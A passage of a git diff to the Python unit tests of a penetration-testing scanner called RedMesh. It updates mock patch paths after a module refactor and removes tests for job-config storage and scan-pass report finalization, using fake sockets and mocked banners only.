with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][8502], "telnet") @@ -1325,7 +1303,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = login_banner return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertEqual(worker.state["port_protocols"][2323], "telnet") @@ -1353,7 +1331,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = bad_modbus return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._active_fingerprint_ports() self.assertNotEqual(worker.state["port_protocols"][1024], "modbus") @@ -1373,7 +1351,7 @@ def fake_socket_factory(*args, **kwargs): mock_sock.recv.return_value = fake_pkt return mock_sock - with patch("extensions.business.cybersec.red_mesh.pentest_worker.socket.socket", side_effect=fake_socket_factory): + with patch("extensions.business.cybersec.red_mesh.worker.pentest_worker.socket.socket", side_effect=fake_socket_factory): worker._scan_ports_step() self.assertNotEqual(worker.state["port_protocols"][9999], "mysql") @@ -1392,7 +1370,7 @@ def recv(self, n): return b"220 mail.example.com ESMTP Exim 4.94.1 ready\r\n" def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.tls.socket.socket", return_value=DummySocket(), ): result = worker._service_info_generic("example.com", 9999) @@ -1414,7 +1392,7 @@ def recv(self, n): return b"SSH-2.0-OpenSSH_7.4\r\n" def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.tls.socket.socket", return_value=DummySocket(), ): result = worker._service_info_generic("example.com", 9999) @@ -1436,7 +1414,7 @@ def recv(self, n): return b'\x00\x01\x00\x00\x00\x05\x01\x03' def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.tls.socket.socket", return_value=DummySocket(), ): result = worker._service_info_generic("example.com", 9999) @@ -1455,7 +1433,7 @@ def recv(self, n): return b"Welcome to Custom Service\r\n" def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.tls.socket.socket", return_value=DummySocket(), ): result = worker._service_info_generic("example.com", 9999) @@ -1482,13 +1460,14 @@ def fake_get(url, timeout=3, verify=False, allow_redirects=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_vpn_endpoints("example.com", 443) self._assert_has_finding(result, "FortiGate") + class TestFindingsModule(unittest.TestCase): """Standalone tests for findings.py module.""" @@ -1512,6 +1491,7 @@ def test_finding_hashable(self): self.assertEqual(len(s), 1) + class TestCveDatabase(unittest.TestCase): """Standalone tests for cve_db.py module.""" @@ -1538,6 +1518,7 @@ def test_apache_path_traversal(self): self.assertTrue(any("CVE-2021-41773" in t for t in cve_ids)) + class TestCorrelationEngine(unittest.TestCase): """Tests for the cross-service correlation engine.""" @@ -1692,7 +1673,7 @@ def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_mysql("example.com", 3306) @@ -1734,7 +1715,7 @@ def quit(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.ftplib.FTP", + "extensions.business.cybersec.red_mesh.worker.service.common.ftplib.FTP", return_value=DummyFTP(), ): info = worker._service_info_ftp("example.com", 21) @@ -1755,7 +1736,7 @@ def fake_get(url, timeout=2, verify=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) @@ -1837,7 +1818,7 @@ def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.paramiko.Transport", + "extensions.business.cybersec.red_mesh.worker.service.common.paramiko.Transport", return_value=DummyTransport(), ): findings, weak_labels = worker._ssh_check_ciphers("example.com", 22) @@ -1859,6 +1840,7 @@ def test_execute_job_correlation(self): self.assertIn("correlation_completed", worker.state["completed_tests"]) + class TestScannerEnhancements(unittest.TestCase): """Tests for the 5 partial scanner enhancements (Tier 1).""" @@ -1976,7 +1958,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_redis("example.com", 6379) @@ -2015,7 +1997,7 @@ def close(self): return None with patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.database.socket.socket", return_value=DummySocket(), ): info = worker._service_info_redis("example.com", 6379) @@ -2048,7 +2030,7 @@ def get_remote_server_key(self): return DummyKey() def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.paramiko.Transport", + "extensions.business.cybersec.red_mesh.worker.service.common.paramiko.Transport", return_value=DummyTransport(), ): findings, weak_labels = worker._ssh_check_ciphers("example.com", 22) @@ -2080,7 +2062,7 @@ def get_remote_server_key(self): return DummyKey() def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.paramiko.Transport", + "extensions.business.cybersec.red_mesh.worker.service.common.paramiko.Transport", return_value=DummyTransport(), ): findings, weak_labels = worker._ssh_check_ciphers("example.com", 22) @@ -2112,7 +2094,7 @@ def get_remote_server_key(self): return DummyKey() def close(self): pass with patch( - "extensions.business.cybersec.red_mesh.service_mixin.paramiko.Transport", + "extensions.business.cybersec.red_mesh.worker.service.common.paramiko.Transport", return_value=DummyTransport(), ): findings, weak_labels = worker._ssh_check_ciphers("example.com", 22) @@ -2188,7 +2170,7 @@ def fake_get(url, timeout=2, verify=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) @@ -2210,7 +2192,7 @@ def fake_get(url, timeout=2, verify=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) @@ -2232,7 +2214,7 @@ def fake_get(url, timeout=2, verify=False): return resp with patch( - "extensions.business.cybersec.red_mesh.web_discovery_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.web.discovery.requests.get", side_effect=fake_get, ): result = worker._web_test_common("example.com", 80) @@ -2261,10 +2243,10 @@ def close(self): pass # Case 1: requests fails, raw socket also gets empty reply with patch( - "extensions.business.cybersec.red_mesh.service_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.service.common.requests.get", side_effect=ReqConnError("RemoteDisconnected"), ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.common.socket.socket", return_value=DummySocket([b""]), ): result = worker._service_info_http("10.0.0.1", 81) @@ -2292,10 +2274,10 @@ def close(self): pass raw_resp = b"HTTP/1.1 200 OK\r\nServer: nginx/1.24.0\r\n\r\n" with patch( - "extensions.business.cybersec.red_mesh.service_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.service.common.requests.get", side_effect=ReqConnError("RemoteDisconnected"), ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.common.socket.socket", return_value=DummySocket([raw_resp, b""]), ): result = worker._service_info_http("10.0.0.1", 81) @@ -2328,10 +2310,10 @@ def close(self): pass ) with patch( - "extensions.business.cybersec.red_mesh.service_mixin.requests.get", + "extensions.business.cybersec.red_mesh.worker.service.common.requests.get", side_effect=ReqConnError("RemoteDisconnected"), ), patch( - "extensions.business.cybersec.red_mesh.service_mixin.socket.socket", + "extensions.business.cybersec.red_mesh.worker.service.common.socket.socket", return_value=DummySocket([raw_resp, b""]), ): result = worker._service_info_http("10.0.0.1", 81) @@ -2342,2335 +2324,6 @@ def close(self): pass self.assertEqual(result.get("title"), "Directory listing for /") -class TestPhase1ConfigCID(unittest.TestCase): - """Phase 1: Job Config CID — extract static config from CStore to R1FS.""" - - def test_config_cid_roundtrip(self): - """JobConfig.from_dict(config.to_dict()) preserves all fields.""" - from extensions.business.cybersec.red_mesh.models import JobConfig - - original = JobConfig( - target="example.com", - start_port=1, - end_port=1024, - exceptions=[22, 80], - distribution_strategy="SLICE", - port_order="SHUFFLE", - nr_local_workers=4, - enabled_features=["http_headers", "sql_injection"], - excluded_features=["brute_force"], - run_mode="SINGLEPASS", - scan_min_delay=0.1, - scan_max_delay=0.5, - ics_safe_mode=True, - redact_credentials=False, - scanner_identity="test-scanner", - scanner_user_agent="RedMesh/1.0", - task_name="Test Scan", - task_description="A test scan", - monitor_interval=300, - selected_peers=["peer1", "peer2"], - created_by_name="tester", - created_by_id="user-123", - authorized=True, - ) - d = original.to_dict() - restored = JobConfig.from_dict(d) - self.assertEqual(original, restored) - - def test_config_to_dict_has_required_fields(self): - """to_dict() includes target, start_port, end_port, run_mode.""" - from extensions.business.cybersec.red_mesh.models import JobConfig - - config = JobConfig( - target="10.0.0.1", - start_port=1, - end_port=65535, - exceptions=[], - distribution_strategy="SLICE", - port_order="SEQUENTIAL", - nr_local_workers=2, - enabled_features=[], - excluded_features=[], - run_mode="CONTINUOUS_MONITORING", - ) - d = config.to_dict() - self.assertEqual(d["target"], "10.0.0.1") - self.assertEqual(d["start_port"], 1) - self.assertEqual(d["end_port"], 65535) - self.assertEqual(d["run_mode"], "CONTINUOUS_MONITORING") - - def test_config_strip_none(self): - """_strip_none removes None values from serialized config.""" - from extensions.business.cybersec.red_mesh.models import JobConfig - - config = JobConfig( - target="example.com", - start_port=1, - end_port=100, - exceptions=[], - distribution_strategy="SLICE", - port_order="SEQUENTIAL", - nr_local_workers=2, - enabled_features=[], - excluded_features=[], - run_mode="SINGLEPASS", - selected_peers=None, - ) - d = config.to_dict() - self.assertNotIn("selected_peers", d) - - @classmethod - def _mock_plugin_modules(cls): - """Install mock modules so pentester_api_01 can be imported without naeural_core.""" - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return # Already imported successfully - - # Build a real class to avoid metaclass conflicts - def endpoint_decorator(*args, **kwargs): - if args and callable(args[0]): - return args[0] - def wrapper(fn): - return fn - return wrapper - - class FakeBasePlugin: - CONFIG = {'VALIDATION_RULES': {}} - endpoint = staticmethod(endpoint_decorator) - - mock_module = MagicMock() - mock_module.FastApiWebAppPlugin = FakeBasePlugin - - modules_to_mock = { - 'naeural_core': MagicMock(), - 'naeural_core.business': MagicMock(), - 'naeural_core.business.default': MagicMock(), - 'naeural_core.business.default.web_app': MagicMock(), - 'naeural_core.business.default.web_app.fast_api_web_app': mock_module, - } - for mod_name, mod in modules_to_mock.items(): - sys.modules.setdefault(mod_name, mod) - - @classmethod - def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmFakeConfigCID"): - """Build a mock plugin instance for launch_test testing.""" - plugin = MagicMock() - plugin.ee_addr = "node-1" - plugin.ee_id = "node-alias-1" - plugin.cfg_instance_id = "test-instance" - plugin.cfg_port_order = "SEQUENTIAL" - plugin.cfg_excluded_features = [] - plugin.cfg_distribution_strategy = "SLICE" - plugin.cfg_run_mode = "SINGLEPASS" - plugin.cfg_monitor_interval = 60 - plugin.cfg_scanner_identity = "" - plugin.cfg_scanner_user_agent = "" - plugin.cfg_nr_local_workers = 2 - plugin.cfg_llm_agent_api_enabled = False - plugin.cfg_ics_safe_mode = False - plugin.cfg_scan_min_rnd_delay = 0 - plugin.cfg_scan_max_rnd_delay = 0 - plugin.uuid.return_value = job_id - plugin.time.return_value = time_val - plugin.json_dumps.return_value = "{}" - plugin.r1fs = MagicMock() - plugin.r1fs.add_json.return_value = r1fs_cid - plugin.chainstore_hset = MagicMock() - plugin.chainstore_hgetall.return_value = {} - plugin.chainstore_peers = ["node-1"] - plugin.cfg_chainstore_peers = ["node-1"] - return plugin - - @classmethod - def _extract_job_specs(cls, plugin, job_id): - """Extract the job_specs dict from chainstore_hset calls.""" - for call in plugin.chainstore_hset.call_args_list: - kwargs = call[1] if call[1] else {} - if kwargs.get("key") == job_id: - return kwargs["value"] - return None - - def _launch(self, plugin, **kwargs): - """Call launch_test with mocked base modules.""" - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - defaults = dict(target="example.com", start_port=1, end_port=1024, exceptions="", authorized=True) - defaults.update(kwargs) - return PentesterApi01Plugin.launch_test(plugin, **defaults) - - def test_launch_builds_job_config_and_stores_cid(self): - """launch_test() builds JobConfig, saves to R1FS, stores job_config_cid in CStore.""" - plugin = self._build_mock_plugin(job_id="test-job-1", r1fs_cid="QmFakeConfigCID123") - self._launch(plugin) - - # Verify r1fs.add_json was called with a JobConfig dict - self.assertTrue(plugin.r1fs.add_json.called) - config_dict = plugin.r1fs.add_json.call_args_list[0][0][0] - self.assertEqual(config_dict["target"], "example.com") - self.assertEqual(config_dict["start_port"], 1) - self.assertEqual(config_dict["end_port"], 1024) - self.assertIn("run_mode", config_dict) - - # Verify CStore has job_config_cid - job_specs = self._extract_job_specs(plugin, "test-job-1") - self.assertIsNotNone(job_specs, "Expected chainstore_hset call for job_specs") - self.assertEqual(job_specs["job_config_cid"], "QmFakeConfigCID123") - - def test_cstore_has_no_static_config(self): - """After launch, CStore object has no exceptions, distribution_strategy, etc.""" - plugin = self._build_mock_plugin(job_id="test-job-2") - self._launch(plugin) - - job_specs = self._extract_job_specs(plugin, "test-job-2") - self.assertIsNotNone(job_specs) - - # These static config fields must NOT be in CStore - removed_fields = [ - "exceptions", "distribution_strategy", "enabled_features", - "excluded_features", "scan_min_delay", "scan_max_delay", - "ics_safe_mode", "redact_credentials", "scanner_identity", - "scanner_user_agent", "nr_local_workers", "task_description", - "monitor_interval", "selected_peers", "created_by_name", - "created_by_id", "authorized", "port_order", - ] - for field in removed_fields: - self.assertNotIn(field, job_specs, f"CStore should not contain '{field}'") - - def test_cstore_has_listing_fields(self): - """CStore has target, task_name, start_port, end_port, date_created.""" - plugin = self._build_mock_plugin(job_id="test-job-3", time_val=1700000000.0) - self._launch(plugin, start_port=80, end_port=443, task_name="Web Scan") - - job_specs = self._extract_job_specs(plugin, "test-job-3") - self.assertIsNotNone(job_specs) - - self.assertEqual(job_specs["target"], "example.com") - self.assertEqual(job_specs["task_name"], "Web Scan") - self.assertEqual(job_specs["start_port"], 80) - self.assertEqual(job_specs["end_port"], 443) - self.assertEqual(job_specs["date_created"], 1700000000.0) - self.assertEqual(job_specs["risk_score"], 0) - - def test_pass_reports_initialized_empty(self): - """CStore has pass_reports: [] (no pass_history).""" - plugin = self._build_mock_plugin(job_id="test-job-4") - self._launch(plugin, start_port=1, end_port=100) - - job_specs = self._extract_job_specs(plugin, "test-job-4") - self.assertIsNotNone(job_specs) - - self.assertIn("pass_reports", job_specs) - self.assertEqual(job_specs["pass_reports"], []) - self.assertNotIn("pass_history", job_specs) - - def test_launch_fails_if_r1fs_unavailable(self): - """If R1FS fails to store config, launch aborts with error.""" - plugin = self._build_mock_plugin(job_id="test-job-5", r1fs_cid=None) - result = self._launch(plugin, start_port=1, end_port=100) - - self.assertIn("error", result) - # CStore should NOT have been written with the job - job_specs = self._extract_job_specs(plugin, "test-job-5") - self.assertIsNone(job_specs) - - -class TestPhase2PassFinalization(unittest.TestCase): - """Phase 2: Single Aggregation + Consolidated Pass Reports.""" - - @classmethod - def _mock_plugin_modules(cls): - """Install mock modules so pentester_api_01 can be imported without naeural_core.""" - if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: - return - TestPhase1ConfigCID._mock_plugin_modules() - - def _get_plugin_class(self): - self._mock_plugin_modules() - from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin - return PentesterApi01Plugin - - def _build_finalize_plugin(self, job_id="test-job", job_pass=1, run_mode="SINGLEPASS", - llm_enabled=False, r1fs_returns=None): - """Build a mock plugin pre-configured for _maybe_finalize_pass testing.""" - plugin = MagicMock() - plugin.ee_addr = "launcher-node" - plugin.ee_id = "launcher-alias" - plugin.cfg_instance_id = "test-instance" - plugin.cfg_llm_agent_api_enabled = llm_enabled - plugin.cfg_llm_agent_api_host = "localhost" - plugin.cfg_llm_agent_api_port = 8080 - plugin.cfg_llm_agent_api_timeout = 30 - plugin.cfg_llm_auto_analysis_type = "security_assessment" - plugin.cfg_monitor_interval = 60 - plugin.cfg_monitor_jitter = 0 - plugin.cfg_attestation_min_seconds_between_submits = 300 - plugin.time.return_value = 1000100.0 - plugin.json_dumps.return_value = "{}" - - # R1FS mock - plugin.r1fs = MagicMock() - cid_counter = {"n": 0} - def fake_add_json(data, show_logs=True): - cid_counter["n"] += 1 - if r1fs_returns is not None: - return r1fs_returns.get(cid_counter["n"], f"QmCID{cid_counter['n']}") - return f"QmCID{cid_counter['n']}" - plugin.r1fs.add_json.side_effect = fake_add_json - - # Job config in R1FS - plugin.r1fs.get_json.return_value = { - "target": "example.com", "start_port": 1, "end_port": 1024, - "run_mode": run_mode, "enabled_features": [], "monitor_interval": 60, - } - - # Build job_specs with two finished workers - job_specs = { - "job_id": job_id, - "job_status": "RUNNING", - "job_pass": job_pass, - "run_mode": run_mode, - "launcher": "launcher-node", - "launcher_alias": "launcher-alias", - "target": "example.com", - "task_name": "Test", - "start_port": 1, - "end_port": 1024, - "date_created": 1000000.0, - "risk_score": 0, - "job_config_cid": "QmConfigCID", - "workers": { - "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, - "worker-B": {"start_port": 513, "end_port": 1024, "finished": True, "report_cid": "QmReportB"}, - }, - "timeline": [{"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}], - "pass_reports": [], - } - - plugin.chainstore_hgetall.return_value = {job_id: job_specs} - plugin.chainstore_hset = MagicMock() - - return plugin, job_specs - - def _sample_node_report(self, start_port=1, end_port=512, open_ports=None, findings=None): - """Build a sample node report dict.""" - report = { - "start_port": start_port, - "end_port": end_port, - "open_ports": open_ports or [80, 443], - "ports_scanned": end_port - start_port + 1, - "nr_open_ports": len(open_ports or [80, 443]), - "service_info": {}, - "web_tests_info": {}, - "completed_tests": ["port_scan"], - "port_protocols": {"80": "http", "443": "https"}, - "port_banners": {}, - "correlation_findings": [], - } - if findings: - # Add findings under service_info for port 80 - report["service_info"] = { - "80": { - "_service_info_http": { - "findings": findings, - } - } - } - return report - - def test_single_aggregation(self): - """_collect_node_reports called exactly once per pass finalization.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin() - - # Mock _collect_node_reports and _get_aggregated_report - report_a = self._sample_node_report(1, 512, [80]) - report_b = self._sample_node_report(513, 1024, [443]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a, "worker-B": report_b}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, - "completed_tests": ["port_scan"], "ports_scanned": 1024, - "nr_open_ports": 2, "port_protocols": {"80": "http", "443": "https"}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com", "monitor_interval": 60}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # _collect_node_reports called exactly once - plugin._collect_node_reports.assert_called_once() - - def test_pass_report_cid_in_r1fs(self): - """PassReport stored in R1FS with correct fields.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin() - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {"80": "http"}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {"findings_score": 5}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # r1fs.add_json called twice: once for aggregated data, once for PassReport - self.assertEqual(plugin.r1fs.add_json.call_count, 2) - - # Second call is the PassReport - pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] - self.assertEqual(pass_report_dict["pass_nr"], 1) - self.assertIn("aggregated_report_cid", pass_report_dict) - self.assertIn("worker_reports", pass_report_dict) - self.assertEqual(pass_report_dict["risk_score"], 10) - self.assertIn("risk_breakdown", pass_report_dict) - self.assertIn("date_started", pass_report_dict) - self.assertIn("date_completed", pass_report_dict) - - def test_aggregated_report_separate_cid(self): - """aggregated_report_cid is a separate R1FS write from the PassReport.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: "QmPassCID"}) - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # First R1FS write = aggregated data, second = PassReport - agg_dict = plugin.r1fs.add_json.call_args_list[0][0][0] - pass_dict = plugin.r1fs.add_json.call_args_list[1][0][0] - - # The PassReport references the aggregated CID - self.assertEqual(pass_dict["aggregated_report_cid"], "QmAggCID") - - # Aggregated data should have open_ports (from AggregatedScanData) - self.assertIn("open_ports", agg_dict) - - def test_finding_id_deterministic(self): - """Same input produces same finding_id; different title produces different id.""" - PentesterApi01Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": {"80": "http"}, - "service_info": { - "80": { - "_service_info_http": { - "findings": [ - {"title": "SQL Injection", "severity": "HIGH", "cwe_id": "CWE-89", "confidence": "firm"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - - risk1, findings1 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - risk2, findings2 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - - self.assertEqual(findings1[0]["finding_id"], findings2[0]["finding_id"]) - - # Different title → different finding_id - aggregated2 = { - "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": {"80": "http"}, - "service_info": { - "80": { - "_service_info_http": { - "findings": [ - {"title": "XSS Vulnerability", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "firm"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - _, findings3 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated2) - self.assertNotEqual(findings1[0]["finding_id"], findings3[0]["finding_id"]) - - def test_finding_id_cwe_collision(self): - """Same CWE, different title, same port+probe → different finding_ids.""" - PentesterApi01Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": {"80": "http"}, - "service_info": { - "80": { - "_web_test_xss": { - "findings": [ - {"title": "Reflected XSS in search", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, - {"title": "Stored XSS in comment", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - - _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - self.assertEqual(len(findings), 2) - self.assertNotEqual(findings[0]["finding_id"], findings[1]["finding_id"]) - - def test_finding_enrichment_fields(self): - """Each finding has finding_id, port, protocol, probe, category.""" - PentesterApi01Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [443], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": {"443": "https"}, - "service_info": { - "443": { - "_service_info_ssl": { - "findings": [ - {"title": "Weak TLS", "severity": "MEDIUM", "cwe_id": "CWE-326", "confidence": "certain"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - - _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - self.assertEqual(len(findings), 1) - f = findings[0] - self.assertIn("finding_id", f) - self.assertEqual(len(f["finding_id"]), 16) # 16-char hex - self.assertEqual(f["port"], 443) - self.assertEqual(f["protocol"], "https") - self.assertEqual(f["probe"], "_service_info_ssl") - self.assertEqual(f["category"], "service") - - def test_port_protocols_none(self): - """port_protocols is None → protocol defaults to 'unknown' (no crash).""" - PentesterApi01Plugin = self._get_plugin_class() - - aggregated = { - "open_ports": [22], "ports_scanned": 100, "nr_open_ports": 1, - "port_protocols": None, - "service_info": { - "22": { - "_service_info_ssh": { - "findings": [ - {"title": "Weak SSH key", "severity": "LOW", "cwe_id": "CWE-320", "confidence": "firm"}, - ] - } - } - }, - "web_tests_info": {}, - "correlation_findings": [], - } - - _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) - self.assertEqual(len(findings), 1) - self.assertEqual(findings[0]["protocol"], "unknown") - - def test_llm_success_no_llm_failed(self): - """LLM succeeds → llm_failed absent from serialized PassReport.""" - from extensions.business.cybersec.red_mesh.models import PassReport - - pr = PassReport( - pass_nr=1, date_started=1000.0, date_completed=1100.0, duration=100.0, - aggregated_report_cid="QmAgg", - worker_reports={}, - risk_score=50, - llm_analysis="# Analysis\nAll good.", - quick_summary="No critical issues found.", - llm_failed=None, # success - ) - d = pr.to_dict() - self.assertNotIn("llm_failed", d) - self.assertEqual(d["llm_analysis"], "# Analysis\nAll good.") - - def test_llm_failure_flag_and_timeline(self): - """LLM fails → llm_failed: True, timeline event added.""" - PentesterApi01Plugin = self._get_plugin_class() - plugin, job_specs = self._build_finalize_plugin(llm_enabled=True) - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) - plugin._get_timeline_date = MagicMock(return_value=1000000.0) - plugin._emit_timeline_event = MagicMock() - - # LLM returns None (failure) - plugin._run_aggregated_llm_analysis = MagicMock(return_value=None) - plugin._run_quick_summary_analysis = MagicMock(return_value=None) - - PentesterApi01Plugin._maybe_finalize_pass(plugin) - - # Check PassReport has llm_failed=True - pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] - self.assertTrue(pass_report_dict.get("llm_failed")) - - # Check timeline event was emitted for llm_failed - llm_failed_calls = [ - c for c in plugin._emit_timeline_event.call_args_list - if c[0][1] == "llm_failed" - ] - self.assertEqual(len(llm_failed_calls), 1) - # _emit_timeline_event(job_specs, "llm_failed", label, meta={"pass_nr": ...}) - call_kwargs = llm_failed_calls[0][1] # keyword args - meta = call_kwargs.get("meta", {}) - self.assertIn("pass_nr", meta) - - def test_aggregated_report_write_failure(self): - """R1FS fails for aggregated → pass finalization skipped, no partial state.""" - PentesterApi01Plugin = self._get_plugin_class() - # First R1FS write (aggregated) returns None = failure - plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: None, 2: "QmPassCID"}) - - report_a = self._sample_node_report(1, 512, [80]) - plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) - plugin._get_aggregated_report = MagicMock(return_value={ - "open_ports": [80], "service_info": {}, "web_tests_info": {}, - "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, - "port_protocols": {}, - }) - plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) - plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) - plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) - plugin._submit_redmesh_test_attestation = 